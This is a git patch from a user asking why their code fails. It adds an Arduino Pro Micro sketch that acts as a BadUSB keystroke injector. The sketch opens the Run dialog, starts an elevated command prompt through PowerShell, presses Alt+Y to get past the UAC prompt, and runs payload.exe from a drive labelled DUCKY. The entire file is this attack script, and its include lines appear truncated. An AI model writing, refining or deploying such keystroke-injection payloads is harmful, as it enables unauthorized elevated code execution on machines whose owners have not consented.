From bf4431ef08c09b395c93ae220ac86febaa38ff60 Mon Sep 17 00:00:00 2001 From: Digita-Nightmare Date: Sun, 2 Jul 2017 02:24:41 -0500 Subject: [PATCH] what am i doing wrong here guys i am trying to use my arduino 32u4 to access and execute an executable on a mounted drive called DUCKY its just not working --- ...cro-32u4--run-exe--from-external-drive?.md | 50 +++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 arduino-pro-micro-32u4--run-exe--from-external-drive?.md diff --git a/arduino-pro-micro-32u4--run-exe--from-external-drive?.md b/arduino-pro-micro-32u4--run-exe--from-external-drive?.md new file mode 100644 index 0000000..7961535 --- /dev/null +++ b/arduino-pro-micro-32u4--run-exe--from-external-drive?.md @@ -0,0 +1,50 @@ +#include +#include + +// Utility function +void typeKey(int key){ + Keyboard.press(key); + delay(50); + Keyboard.release(key); +} + +void setup() +{ + // Start Keyboard and Mouse + AbsoluteMouse.begin(); + Keyboard.begin(); + + // Start Payload + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press(114); + Keyboard.releaseAll(); + + delay(200); + + Keyboard.print("powershell Start-Process cmd.exe -Verb runAs"); + + typeKey(KEY_RETURN); + + delay(2000); + + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(121); + Keyboard.releaseAll(); + + delay(500); + + Keyboard.print("for /f %d in ('wmic volume get driveletter^, label ^| findstr \"DUCKY\"') do set duck=%d"); + + typeKey(KEY_RETURN); + + Keyboard.print("%duck%\\payload.exe"); + + // End Payload + + // Stop Keyboard and Mouse + Keyboard.end(); + AbsoluteMouse.end(); +} + +// Unused +void loop() {} \ No newline at end of file